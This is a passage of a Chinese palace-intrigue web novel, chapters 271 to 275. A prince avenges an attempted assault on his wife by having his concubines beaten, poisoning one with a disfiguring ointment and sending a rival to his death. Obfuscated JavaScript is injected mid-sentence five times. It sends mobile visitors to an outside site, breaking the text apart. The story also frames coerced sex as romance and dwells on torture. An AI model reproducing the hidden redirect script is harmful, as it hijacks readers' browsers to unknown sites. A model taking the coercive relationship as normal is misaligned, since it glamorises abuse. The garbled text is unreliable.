“现在,知道我是谁了吗?”他一边用修长的手指在她如凝脂般的肌肤上缓缓游移,似点燃火焰般撩拨着她的感官,一边目光灼灼地逼视着她,语气低沉而危险。 “景王……萧凌川……求你,不要这样……” 她拼命地想要推开他,却发现浑身绵软无力,如同一块浸透了水的海绵,根本无法生出任何抵抗的能力。 “对,是我。”听到她的回答,萧凌川似乎颇为满意,奖赏似的用薄唇轻咬住她耳垂,滚烫的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113358|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息喷洒在她敏感的肌肤上,声音低哑而蛊惑。 天色刚亮,萧凌川便已起身。 他像一头餍足的雄狮,精神抖擞地着手处理昨夜姜姝宁被暗算一事。 竟敢试图染指他的女人,他定要让其付出血的代价! 花匠的尸体依旧躺在偏殿之中,身上覆盖着一块冰冷的黑布,如同一个无声的诅咒。 没有萧凌川的命令,府内无人敢擅动那具尸体。 萧凌川径直走到尸体前,命凌风撬开死者的牙关,果然发现其中藏匿的剧毒。 “好大的手笔,竟安排死士混入府中。”他嘴角勾起一抹冷酷的笑意,眼中寒光闪烁,“传令下去,将引荐此人入府的管事带来!” 很快,负责府中采买事宜的陈管事战战兢兢地跪倒在地。 当他看到那死不瞑目的花匠时,顿时吓得魂飞魄散,只得磕头如捣蒜般承认,自己是收了人牙子的贿赂,才将此人招入府中的。 “王爷饶命!小的见他身强体壮,老实肯干,哪里知道他竟是包藏祸心的死士啊!” “还敢狡辩!本王问你,昨日王妃差点出事,为何主院里一个人都没有?” 面对萧凌川的逼问,陈管事只能下跪求饶:“是王侧妃让小的……把主院的下人叫去藏锦阁里帮忙做事,小的没想到她要趁机陷害王妃啊!” “拖下去,杖打二十,逐出王府!另外,将他所说的那个人牙子给本王带来!”萧凌川的语气冰冷,不带一丝感情。 管家在一旁小心翼翼地禀报道:“王爷,昨日府内还发生了一件事。王侧妃与霍侧妃指控凌芜**她们的簪子,如今凌芜姑娘已被关押在柴房,等候发落。” 萧凌川闻言,脸色瞬间阴沉下来:“故意支开凌芜,再对王妃下手……她们肯定是同谋!来人,将王侧妃和霍侧妃一并带上来!” 第271章 求避子药 第二百七十一章求避子药 王碧珊与霍娴月被带上来时,脸上并无半分紧张。 她们款款而来,裙裾曳地,发髻上的珠翠随着步履轻轻摇晃,仿佛不是来受审,而是来庭院里赏花。 毕竟,凌芜那贱婢“**”簪子一事,人证物证俱在,一个下人,还能翻了天不成? 看到萧凌川阴沉的脸,王碧珊甚至还体贴地劝慰起来,语气里是藏不住的优越感。 “王爷何必为一个下人生气?不过是些没见过世面的东西,手脚不干净罢了。”她掩唇轻笑,“若她当真喜欢,拿去便是,妾身屋里多的是,也不是什么稀罕玩意儿,何必要偷?” 霍娴月立刻附和:“就是啊,姐姐心善。可这种人留在主院伺候,王爷可得当心了,万一哪天偷到王爷头上去,那可怎么好?” 两人一唱一和,言语间满是讥讽,仿佛已经定了凌芜的罪。 萧凌川听着她们惺惺作态的表演,眼底的寒意几乎要凝成冰。 “凌芜一个习武之人,成天舞刀弄枪,要你们那些金银首饰作甚?想栽赃陷害也编个像样的理由!如此拙劣的伎俩,简直可笑!” 他声音不高,却字字如针,扎得王碧珊和霍娴月脸上的笑容一僵。 “若她真想要,”萧凌川的视线缓缓扫过她们精心打扮的头面,“也无需偷你们的。本王库房里的东西,她看上哪样,本王赏她便是!这么拙劣的栽赃陷害,你们当本王是傻子?” 两人依旧声嘶力竭地辩解道:“王爷明鉴!妾身句句属实,绝无半点虚言!就是那凌芜,她偷了我们的簪子!” 萧凌川耐心告罄,冷声下令:“来人!给本王掌嘴!狠狠地打,直到她们亲口承认罪名为止!” 王碧珊和霍娴月霎时血色尽褪,惊恐地瞪大了双眼。 她们怎么也想不到,萧凌川竟然会为了一个区区婢女,如此不给她们颜面! “王爷!冤枉啊!妾身冤枉!”王碧珊最先反应过来,扑通一声跪下,膝行几步,“那凌芜真的偷了妾身的簪子!人证物证俱在,您不能只听信她一面之词啊!” 旁边的霍娴月早已吓得浑身发抖。 她看着萧凌川那双毫无温度的眼睛,只觉得遍体生寒。 她脑子飞速转动,尖叫着撇清关系:“王爷明鉴!凌芜姑娘偷的是王侧妃的簪子,妾身……妾身只是心直口快,帮王侧妃将此事告知管家!此事妾身毫不知情,还请王爷明鉴啊!” 见她这么快就把自己摘得一干二净,王碧珊气得牙根紧咬,恨恨地瞪着她。 萧凌川对她们之间的狗咬狗毫无兴趣,他俯视着地上跪着的两个女人,声音冷得像淬了毒的冰。 “还敢狡辩?昨日本王的王妃差点遭那花匠欺辱,整个主院竟没有一个下人!陈管事已经招了,是你们将所有人都支去了藏锦阁!” 他上前一步,那迫人的气势让两个女人抖如筛糠。 “你们故意支开所有人,连王妃身边最得力的凌芜也用偷盗的罪名先行困住,就是为了让那个死士花匠,好对本王的王妃下手!如此歹毒的心肠,本王岂能饶过你们?” “来人!堵上她们的嘴!两人各打二十大板,掌嘴三十,禁足两个月!” 王碧珊和霍娴月这下是彻底慌了神,拼命磕头求饶,嘴里语无伦次地喊着:“王爷饶命!妾身再也不敢了!我们不追究凌芜的过错了,王爷饶了我们吧!” 可萧凌川已经转过身去,连一个眼神都懒得再给她们。 行刑的嬷嬷立刻上前,用布巾堵住了她们的嘴。 清脆响亮的耳光声随即在殿内响起,一下,又一下,卯足了劲地打。 那声音听得人心惊肉跳,两个养尊处优的贵女只能发出“呜呜”的悲鸣,疼得面容扭曲,泪涕横流。 三十下打完,她们的脸颊已经高高肿起,像发面馒头,嘴角渗出的血丝混着眼泪鼻涕,狼狈不堪。 接着便是打板子。 她们被按在长凳上,厚重的板子带着风声,沉闷地落在她们身上。 她们是世家贵女,自然不能真的打死,行刑的人力道控制得极好,既能让她们皮开肉绽,痛不欲生,又不至于伤及性命。 二十大板下来,两人早就叫不出来了,只有微弱的呻吟。 她们的臀部血肉模糊,裙子被染得一片深红,连站都站不起来了。 最后,只能由各自陪嫁来的丫鬟和嬷嬷架着,像拖死狗一样拖离了偏殿。 就在此时,凌风快步从外面进来,身后还押着一个贼眉鼠眼、浑身发抖的中年男人。 “王爷,人牙子带来了。” 萧凌川居高临下地看着那个瘫软在地的人牙子,浑身的戾气尚未散去。 他冷声问:“说,到底是谁让你把那个花匠卖进王府的?” 那人牙子刚进来就看见了王碧珊和霍娴月的惨状,早吓破了胆,一听萧凌川问话,哪还敢有半分隐瞒,竹筒倒豆子一般全招了。 “是……是镇国将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122788|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军府的大公子,王启!王公子给了小人五十两银子,让小人无论如何都要把那人送进王府当差!小人……小人卖一辈子下人也赚不到五十两啊,就鬼迷心窍答应了……王爷饶命,小的真不知道那人是个死士啊!” “王启……” 萧凌川缓缓念出这个名字,唇角勾起一抹阴鸷的笑意。 “为了对付本王的王妃,连这种歹毒的手段都能想出来,不愧是镇国将军的好儿子!” 他眼中的杀意翻涌。 “看来,本王得想个好法子,让他也尝尝,什么叫生不如死!” —— 姜姝宁一直沉睡到午后才幽幽转醒。 浑身上下仿佛被碾压过一般,没有一处不酸胀难受。 昨夜和清晨那些荒唐又香艳的画面如潮水般涌上心头,她既难堪又羞恼。 毕竟是重活一世的人,不会因失去清白就寻死觅活。 如今她最担心的是,昨夜那场失控的纠缠过后,她和萧凌川之间的纠葛,只会越缠越紧。 凌芜一直守在床边,察觉到幔帐内的动静,连忙小心翼翼地凑上前,关切地问道:“王妃,您感觉好些了吗?” 话一出口,她脸颊便浮上两抹红晕,意识到自己的话语略有不妥,仿佛在暗示王妃遭受了欺负一般。 王妃与王爷本就是夫妻,昨夜之事,于情于理都应是水到渠成,对整个王府而言,更是一桩喜事才对。 只是看着王妃那苍白虚弱的模样,似乎真的被抽干了所有的力气,让人不禁心生怜惜。 姜姝宁看到凌芜,像是抓住了救命稻草般,用力抓住她的手,恳求道:“凌芜,我有一件事想要拜托你,这件事,绝对不能让任何人知道!” 凌芜连忙俯身应道:“王妃请吩咐,凌芜定当竭尽全力。” 姜姝宁定了定神,压低声音道:“你去……帮我秘密抓一副避子药来!” 昨夜那般毫无节制的索取,她很有可能会怀上萧凌川的子嗣。 届时再想离开他,就更加举步维艰了。 想到这里,姜姝宁的心中泛起一阵难以言喻的苦涩。 她素来喜爱孩童,始终向往儿女绕膝的生活,却不曾料到,有朝一日,自己竟会主动求取避子之药。 前世她明明那般怨恨萧凌川给自己喝了十年避子药,可今生,主动求第一碗避子药的,竟是她自己。 凌芜闻言一怔,随即敛下眉眼,恭敬地应道:“是,王妃,奴婢这就去办。” 第272章 你是本王心尖上的人 第二百七十二章你是本王心尖上的人 书房内,空气凝滞如冰。 凌芜将姜姝宁的话一字不差地转述,头颅深深垂下,不敢去看主位上男人的脸色。 萧凌川执笔的手猛地一顿,一滴浓墨在宣纸上晕开,如同一块丑陋的污渍。 “她说要什么?”他的声音平静得可怕,仿佛暴风雨前死寂的海面,下一刻就要掀起滔天波澜。 凌芜硬着头皮重复:“王妃……想要一副避子药。” 一声极轻的冷笑从萧凌川的薄唇中溢出。 他缓缓放下手中的狼毫笔,抬起那双深不见底的墨眸,视线如淬了毒的利刃,直直射向凌芜。 “她竟要避子药?” 一股森然的怒意自他周身轰然散开,书房内的温度骤降。 她分明那么喜欢小孩,前世巴巴看着别家孩童时那羡慕的眼神,他至今都记得。 可如今,在他与她有了肌肤之亲后,她第一件事想到的,竟然是服用避子药! 她就这么不想怀上他的孩子? 难道这就是爱与不爱的区别? 胸口一股无名火混着尖锐的痛楚翻涌上来,烧得他五脏六腑都跟着绞痛。 他猛地一拍书案,震得笔架上的毛笔都滚落下来。 “她那么爱喝避子药,那便给她!” 凌芜见他发火,吓得魂飞魄散,连忙应道:“是,王爷!” 转身便要离去。 刚到门口,身后又传来萧凌川冰冷的声音:“回来!” 凌芜的脚步僵在原地,战战兢兢地转过身。 “王妃的避子药,本王让孙神医来开,你负责为她煎药便可!” “是,王爷!”凌芜顿时松了一口气。 她听说寻常的避子药性寒,极伤女子身子,喝多了甚至会再难有孕。 若是孙神医亲自开的方子,想来定会是温和的,不至于伤了王妃的根本。 王爷嘴上说得狠,心里到底还是疼着王妃的。 药很快就开来了,凌芜亲自将那汤药煎好,送去了姜姝宁的房里。 姜姝宁见凌芜端着药碗进来,连忙压低声音问:“此事……没有被别人发现吧?” 凌芜垂下眼帘,避开姜姝宁探究的视线,按照萧凌川的吩咐撒了谎。 “王妃放心,奴婢寻了个很隐蔽的药堂开的,没人瞧见。” 听她这么说,姜姝宁才仿佛放下心来。 她接过药碗,凑到鼻尖闻了闻。 一股浓重苦涩的药味直冲口鼻,这味道,她太熟悉了。 前世十年,她喝了无数碗。 她喝了一小口,那股熟悉的、能将舌根都**苦涩瞬间在口腔中蔓延开来。 果然是这个味道。 姜姝宁不再犹豫,仰起头,将那碗漆黑的汤药一饮而尽。 前世萧凌川机关算计,不愿让她怀上他的骨肉;今生,她也绝不会孕育他的血脉! 这晚,萧凌川忙到很晚才回府。 姜姝宁早已躺下,她实在是累得慌,骨头缝里都透着酸软。 可即便她睡得很沉,在他熄了灯上床的那一刻,她还是醒了。 他的存在感太强了。 身子像一团熊熊燃烧的烈火,仅仅是靠近,就让原本有些暖意的锦被变得燥热起来,压迫感十足。 姜姝宁屏住呼吸,后背绷得像一张拉满的弓。 她清晰地感觉到萧凌川的手臂环了过来,轻轻搭在她的腰上。 那只手并不规矩,温热的掌心贴着她单薄的寝衣,指尖带着薄茧,沿着她腰肢曼妙的曲线,一路若有似无地向下滑去。 酥麻的痒意像电流一样窜过四肢百骸。 她死死咬住下唇,指甲深深掐进掌心,用疼痛来抵抗那股陌生的战栗,不让自己泄露出一丝一毫已经清醒的痕迹。 可萧凌川似乎并不打算轻易放过她。 他修长的手指像一条狡猾的蛇,故意在她最敏感的腰窝处打着圈,时轻时重地撩拨。 她后背渗出一层薄汗,双颊热得发烫,整个人仿佛被放在火上炙烤。 最终,她忍无可忍,猛地转过身,声音带着恼意:“王爷,别这样!” 昨夜和今早那三次疯狂的折腾,她现在还觉得腿软,实在没有一丝多余的精力和他在这种事情上纠缠。 萧凌川的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122789|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作终于停下。 黑暗中,他低沉的嗓音带着几分戏谑的笑意,清晰地传入她的耳中:“本王还以为,王妃能继续装下去。” ……原来他早就知道她醒了! 他是故意的! 这个男人,真是恶趣味到了极点! 姜姝宁又气又恼,索性翻了个身背对着他,闷声道:“王爷若没旁的事,我便先睡了。” 话音刚落,身后的身躯便再次贴了上来,一条有力的臂膀从背后将她整个圈进怀里。 萧凌川的下巴抵在她的发顶,温热的气息喷洒在她的耳廓,声音低沉,听不出喜怒。 “王妃为何不自称‘妾身’?是不想当本王的妻子吗?” 姜姝宁心中一阵冷笑。 无媒苟合,算哪门子的夫妻? “我只是……不习惯罢了。”她声音平平地回答,“王爷难道还在乎这个?” “本王自然在意。”他将她抱得更紧了些,几乎要将她揉进自己的骨血里,“本王希望,王妃能从心底里认可我们的关系,认可本王这个夫君。” 姜姝宁不想再和他纠缠这个毫无意义的问题,于是幽幽地开口,转移了话题:“那王爷……可知是谁要害我?” “自然。”萧凌川语气冷冽,带着不容置疑的威严,“有人胆敢在本王的地盘上算计你,本王岂会轻易放过!已经查明了,正是镇国将军之子王启,暗中在府内安插了那名花匠。” “王启?”姜姝宁蹙起眉头。 她想起来了,这人是那日踏青时遇到的,王侧妃的堂兄。 “我与他无冤无仇,他为何要如此大费周章地算计我?” 萧凌川轻笑一声,抬起手,轻柔地抚上她的脸颊,指腹的薄茧摩挲着她细腻的肌肤。 “因为,你是本王心尖上的人。” 他的声音很轻,却带着一种令人胆寒的残酷。 “他们怨恨本王,却又不敢直接对本王下手,所以,便只能转而对你下手了。” 姜姝宁:“……” 所以,当他心尖上的人,不仅要被他欺负,还要替他背负别人的恨意? 还真不是什么好事! 第273章 她不甘心! 第二百七十三章她不甘心! 王碧珊疼得几乎要疯了。 一整夜,她就像一条被扔在烧红铁板上的鱼,翻来覆去,却找不到一处可以安放身体的角落。 想趴着睡,可脸颊火辣辣地疼,那五个清晰的指印肿得像发面馒头,只要轻轻一挨枕头,那股钻心的刺痛便能让她瞬间清醒。 想躺着睡,更是痴心妄想。 身后被板子抽打过的地方早已皮开肉绽,黏糊糊的血水浸透了中衣,与皮肉粘连在一起,每动一下,都是一次酷刑。 她只能以一种极其扭曲的姿势半跪半趴在床上,像一只苟延残喘的野狗,在黑暗中低声呜咽,等待着黎明。 好不容易,天光微亮,门“吱呀”一声被推开,伺候她的赖嬷嬷来了。 王碧珊忍着浑身的剧痛,挣扎着抬起头问:“嬷嬷,打听到了吗?昨日那事……是不是成了?” 昨天萧凌川发了那么大的火,连霍娴月都被牵连杖责,想来那花匠肯定是得手了。 只要一想到姜姝宁被一个身份低贱的花匠肆意糟蹋,她就觉得脸上的疼、身上的伤,都值了! 那是一种病态的、扭曲的快感,足以抚平她此刻所有的痛苦。 赖嬷嬷摇了摇头。 “听说……昨日那花匠正要欺辱王妃,就被王妃用一支发簪刺**。”赖嬷嬷的声音压得很低,继续说道,“有个叫柳叶的婢女把王妃救了出来,直接送到了主院。后来王爷就回来了,一直留在主院,直到今早才出来……” “什么?”王碧珊猛地瞪大眼睛,因动作太大,牵扯到脸上的伤口,疼得她倒抽一口冷气。 她顾不上这些,满脸都是不可置信,“姜姝宁……杀了那个死士?她一个手无缚鸡之力的娇小姐,怎么可能!?” “千真万确!府里见过那具尸体的人都知道,那簪子正好刺中了花匠的要害,血流了一地。等王爷的人赶到时,那花匠的身子都僵了!” 王碧珊的脑子嗡的一声,一片空白。 怎么会这样? 那死士是她堂兄费了九牛二虎之力才安插进来的,身手不凡。 她自己为了支走凌芜和主院那些碍事的下人,更是花了重金收买陈管事,还给了霍娴月不少好处让她配合,小心翼翼地谋划了许久。 万无一失的计策,竟然就这么被姜姝宁用一支小小发簪给毁了? 自己还因这个失败的计划,挨了一顿毒打,受尽了**! 她不甘心! 一股巨大的怨气和委屈冲上心头,她再也控制不住,猛地捶打着床榻,嚎啕大哭起来。 “姜姝宁!你这个**!我跟你没完!我绝不会放过你的!” 哭声凄厉,充满了怨毒,像个疯子。 赖嬷嬷看着她这副失态的模样,眼中闪过一丝复杂的情绪,有怜悯,但更多的是恐惧和疏离。 她悄无声息地躬了躬身子,默默退了出去,轻轻带上了门。 她没有回自己的屋子,而是穿过庭院,径直走向了主院的书房。 书房里,萧凌川正坐在案后,面无表情地翻阅着一份卷宗。 赖嬷嬷跪在地上,深深地磕了一个头,声音颤抖:“王爷,老奴……去瞧过了。王侧妃她……她依旧死心不改,嘴里还在……还在咒骂王妃。” 萧凌川连眼皮都未曾抬一下,只冷声道:“既如此,那便不能轻饶了她。” 他放下手中的卷宗,挥了挥手。 一旁的凌风立刻会意,上前一步,将一个白玉药膏递到了赖嬷嬷面前。 萧凌川的声音冰冷得没有一丝温度,像淬了毒的冰锥。 “赖嬷嬷,你应该知道如何做。” “是……是,王爷!”赖嬷嬷双手颤抖着,几乎要拿不稳那小小的瓶子。 那盒子入手冰凉,却仿佛有千斤重。 花匠一事,彻底点燃了萧凌川的怒火。 他没有直接要了王碧珊的命,却用残忍的方式,清算了她从镇国将军府带来的每一个人。 那个帮着花匠抵死偏殿门窗的小丫头,已经被拖下去活活打死,尸体就那么扔在了乱葬岗。 而她,赖嬷嬷,作为王碧珊的茹母和心腹,本也难逃一死。 是萧凌川给了她一条活路。 他说,只要她听话,他便能保住她的性命,甚至保住她远在家乡的亲人。 王碧珊如今自身难保,跟疯狗一样,她怎能指望得上? 这王府,终究是景王萧凌川的天下。 她这条老命,得听景王的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131324|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖嬷嬷死死攥着那瓶膏药,那冰凉的触感,让她浑身的血液都快要凝固了。 她知道,这绝不是什么疗伤的良药。 —— 崔芝兰听闻姜姝宁险些受辱之事,心中百味杂陈,久久不能平静。 虽说姜姝宁最终侥幸逃过一劫,可这王府之内危机四伏,暗流涌动,谁又能料到其他侧妃会使出怎样卑劣的手段来陷害她? 崔芝兰都替自己表哥感到焦急万分。 但她比任何人都清楚,若要助姜姝宁脱离这泥潭,唯有她本人愿意配合,方能成事。 经历了如此阴险的算计,姜姝宁……应当会有些动摇了吧? 她暗中托柳叶给姜姝宁传话,约她出来一见,欲探探她的心意。 柳叶回来后,支支吾吾地禀报:“崔侧妃,王妃说,让您不必再为她的事操心。她定会尽力帮您说服宁王殿下,促他早日接您出府。” 崔芝兰听罢,不由得苦笑一声。 都到了这般田地,她竟还在为旁人打算。 她顿时有些恼了,语气生硬道: “你回去再问姜姑娘一句,她究竟想不想离开?让她给我个痛快话,总好过我在这里干等着!” 柳叶折返主院寝殿,向姜姝宁转述道:“王妃,奴婢已将您的话带给崔侧妃。崔侧妃问您,您……到底要不要离开王府?” 姜姝宁翻书的手指微微一顿,眸光微凝。 她自然是要离开的,只是绝不愿借崔芝兰之手,以免连累她,平白惹祸上身。 而且,她也在等一个合适的时机。 —— 藏锦阁另一个屋里,赖嬷嬷拿着白玉瓶子装的膏药,来到王碧珊跟前。 “侧妃,老奴已将您的事禀告了王家。老爷得知后,担忧您的容貌受损,特意命老奴将这膏药送来为您涂抹。此乃宫中熙太妃常用的凝脂膏,能助您面容尽快恢复如初。” 王碧珊不疑有诈,急切地催促道:“快些,替我上药!” 她对自己的容貌向来自信满满,自认为这王府之中无人能与她媲美。 只要这张脸依旧美艳无暇,假以时日,景王定会对她动心。 赖嬷嬷上前,悄然掩去眼底那一抹转瞬即逝的愧疚,小心翼翼地为她涂抹起膏药…… 第274章 送他上西天 第二百七十四章送他上西天 翌日,金銮殿。 百官分列,鸦雀无声。 龙椅上的萧政贤神色凝重,声音在空旷的大殿里回响,带着不容置喙的威严。 “众卿,西榆一带匪患再生,已扰得当地民不聊生。此事,该如何处置?” 话音刚落,一身武将朝服,身形魁梧的镇国将军王德山便一步跨出,声如洪钟:“陛下!臣以为,此事非景王殿下莫属!” 他双眼扫过肃立在前的萧凌川,眼底藏着一丝不易察雌的狠毒。 “景王殿下文武双全,区区匪患,于殿下而言不过是牛刀小试。由殿下出马,必能马到功成,扬我国威!” 好一顶高帽。 萧凌川站在那里,身姿挺拔如松,面上一片淡然,仿佛那话里藏的刀子根本不存在。 他心里冷笑。 王德山和那个给他假虎符的姜瑶真,真是迫不及待想让他死在西榆。 他若真去了,才是正中这两个阴狠小人的下怀。 见萧凌川不语,萧政贤将目光投向他:“景王,你意下如何?” 萧凌川这才缓缓抬眼,目光平静地迎上王德山,随即朝萧政贤躬身行礼。 “陛下,王将军谬赞。区区蟊贼,何须本王亲自出马?如此岂非大材小用,反倒让西洲笑我大邺无人?” 他的声音不大,却字字清晰地落入每个人的耳中。 “依臣看,此事正该是年轻一辈建功立业的大好时机。”他话锋一转,目光落在了王德山身上,语气里透着一股“诚恳”的举荐之意,“镇国将军之子王启,年少有为,正当锐意进取之时。不若便由王公子领兵前往,一来可以历练,二来若能顺利清剿匪患,亦可算作一桩大大的军功。届时,陛下封他一个将军当当,岂不美哉?” 王德山脸上的肌肉僵了一下。 他那个儿子是什么货色,他自己心里门儿清。 文不成武不就,别说剿匪了,让他对付一下地痞流氓他都未必有能力。 但萧凌川的建议却让他心动了。 只因西榆那帮所谓的“匪徒”,本就是他和瑞王暗中培养的私兵! 让王启去,不过是走个过场,不费吹灰之力就能把一个将军的头衔捡回来! 这简直是天上掉下来的馅饼! 虽然没能借此机会杀了萧凌川,但能给自己的儿子换个前程,这买卖,划算! 萧政贤似乎对这个提议很感兴趣,他手指轻敲着龙椅扶手,看向王德山:“镇国将军,你觉得景王的提议如何?” 王德山心里的算盘打得噼啪作响,脸上的表情瞬间由错愕转为狂喜。 他立刻跪下,声音里满是激动:“陛下!景王殿下高义!肯为犬子前途着想,老臣感激不尽!臣……臣替犬子领旨谢恩!” 下了朝,百官鱼贯而出。 王德山特意放慢了脚步,在宫门外等着萧凌川。 他走到萧凌川跟前,皮笑肉不笑地拱了拱手:“哎呀,景王殿下,今日之事,老夫可真是要多谢你了。你放心,等犬子凯旋,定让他备上厚礼,亲自到王府登门道谢!” 那语气里的阴阳怪气,几乎要溢出来。 萧凌川看着他那副小人得志的嘴脸,脸上的肌肉动了动,扯出一个极淡的笑。 那笑意没有半分温度,像是冬日里凝在窗上的冰花。 “将军客气了。本王不过是顺水推舟,王公子前程似锦,本王也乐见其成。” 王德山哈哈大笑,转身扬长而去。 直到他的身影消失在拐角,萧凌川脸上的笑意才彻底隐去,取而代之的是一片阴鸷。 坐上回府的马车,凌风忍不住问:“王爷!您为何要把这天大的好处白白送给王启?西榆是镇国将军和瑞王的地盘,您推荐王启去剿匪,不等于把军功拱手送到了他们嘴边吗?属下不明白!” 马车内光线昏暗,映得萧凌川的侧脸轮廓分明,也让他的眼神显得愈发深不见底。 他闭着眼,靠在车壁上,许久才吐出几个字,声音冷得像淬了冰。 “送好处?” 他睁开眼,那双黑眸里翻涌着骇人的杀意。 “本王,是送他上西天。” 等着吧,王启。 西榆那片土地,本王亲自为你选的,风水不错,正适合做你的坟场。 —— 萧凌川一踏入景王府,便下令即刻开启金库,命人将其中珍藏的奇珍异宝一箱箱搬运出来。 凌风见状,满脸疑惑,不解地问道:“王爷,您这是要做什么?” “派人将这些宝物送往西榆边境,引出真正的‘**’。”萧凌川神色阴冷,眸中暗藏杀机,“本王听说西洲边境荒凉贫瘠,那里的士兵长年未见女子,甚至连细皮嫩肉的男子见了也要掳回营地,肆意亵玩。凌风,你觉得算计王妃的幕后之人,若沦为西洲士兵的玩物,这个下场如何?” 凌风朗声应道:“此人罪有应得!” “那便速速将这些宝物送至西榆,布下天罗地网!”萧凌川语气森然,带着不容置疑的威压。 “是,王爷!”凌风心中一凛,暗自感慨,这才是他所熟悉的王爷。 睚眦必报,绝不留情! —— 王碧珊连续几日涂抹赖嬷嬷带来的所谓“凝脂膏”,却发现脸上的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131325|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势非但未见好转,反而愈加恶化。 她心生不安,命赖嬷嬷取来铜镜,欲一探究竟。 不料,镜中映出的模样令她魂飞魄散,惊骇欲绝。 那张脸不仅肿胀不堪,更是渗着触目惊心的血水,狰狞可怖,宛如鬼魅。 面对这副人不人鬼的模样,王碧珊再也压不住心头的恐惧与绝望,顿时失声痛哭起来。 “怎么会这样?这不是宫中御用的‘凝脂膏’吗?为何我用了,脸不仅没好,反而变得更糟!” 赖嬷嬷站在一旁,噤若寒蝉,哆哆嗦嗦地退后几步,不敢作声。 “因为这根本不是‘凝脂膏’,而是本王特意命人调制的**,用后只会让人愈发丑陋。” 一道冰冷如霜的声音骤然响起,萧凌川迈着沉稳的步子,缓缓踱入屋内。 见到他现身,王碧珊尖叫一声,慌忙用手捂住自己不堪入目的脸,随即又泪流满面,委屈地哭诉道: “妾身已知错了,王爷为何还要如此残忍,毁了妾身的容貌?” 萧凌川冷哼一声,慵懒地倚坐在桌旁,眸光冰冷,毫无半分怜悯:“本王手里有解药,可让你的容貌恢复如初,但前提是,你需替本王办一件事。” “何事?”王碧珊声音颤抖,带着一丝希冀又夹杂着不安。 “将这瓶能毁人容貌的**交给霍娴月,并说服她涂抹。”萧凌川语气平淡,却透着不容抗拒的威压。 王碧珊眉心猛地一跳,迟疑道:“王爷神通广大,为何要让妾身去做此事?” 萧凌川唇角勾起一抹冷笑:“因为本王要让霍娴月及她身后的霍家认定,她的容貌尽毁,皆因你的嫉妒所致!” 王碧珊霎时明白了他的用意——他这是要刻意营造侧妃之间争风吃醋的假象,将门阀的注意力从姜姝宁身上引开,尽数转移到侧妃们身上! 为了一个姜姝宁,萧凌川竟机关算尽到这般地步! 她本想拒绝,可一想到自己如今这副惨不忍睹的面容,再想到被收买的赖嬷嬷,心头一沉,只能咬牙应下。 连她最信赖的人都已经是萧凌川的棋子,如今她在这景王府里,哪有说不的权利? 萧凌川随手丢给她一个小瓶,声音冷酷无情:“这是暂时的解药,可让你的容貌在两个时辰内恢复如常,但效果仅能维持三日。三日之后,若再不服用真正的解药,你的整张脸将彻底溃烂!听清楚了,你只有三天时间,若无法让霍娴月涂上你送去的**,此生休想再得解药!” 王碧珊闻言,惊恐万分,手心一颤,差点没接稳那瓶解药。 她连忙低头,信誓旦旦地保证:“妾身绝不辜负王爷所托!” 第275章 拿她当枪使 第二百七十五章拿她当枪使 第二日,王碧珊主动登门探望霍娴月。 婢女前来通报时,霍娴月心中泛起一阵疑惑。 她们不是都被禁足了吗?王碧珊怎能如此随意地来到她的院落? 还未及细想,王碧珊已然款款而至,步履优雅,气态从容。 待看清她的面容,霍娴月不由得一怔——那张脸洁白无瑕,肌肤如玉,甚至比受罚掌嘴前更显娇艳动人。 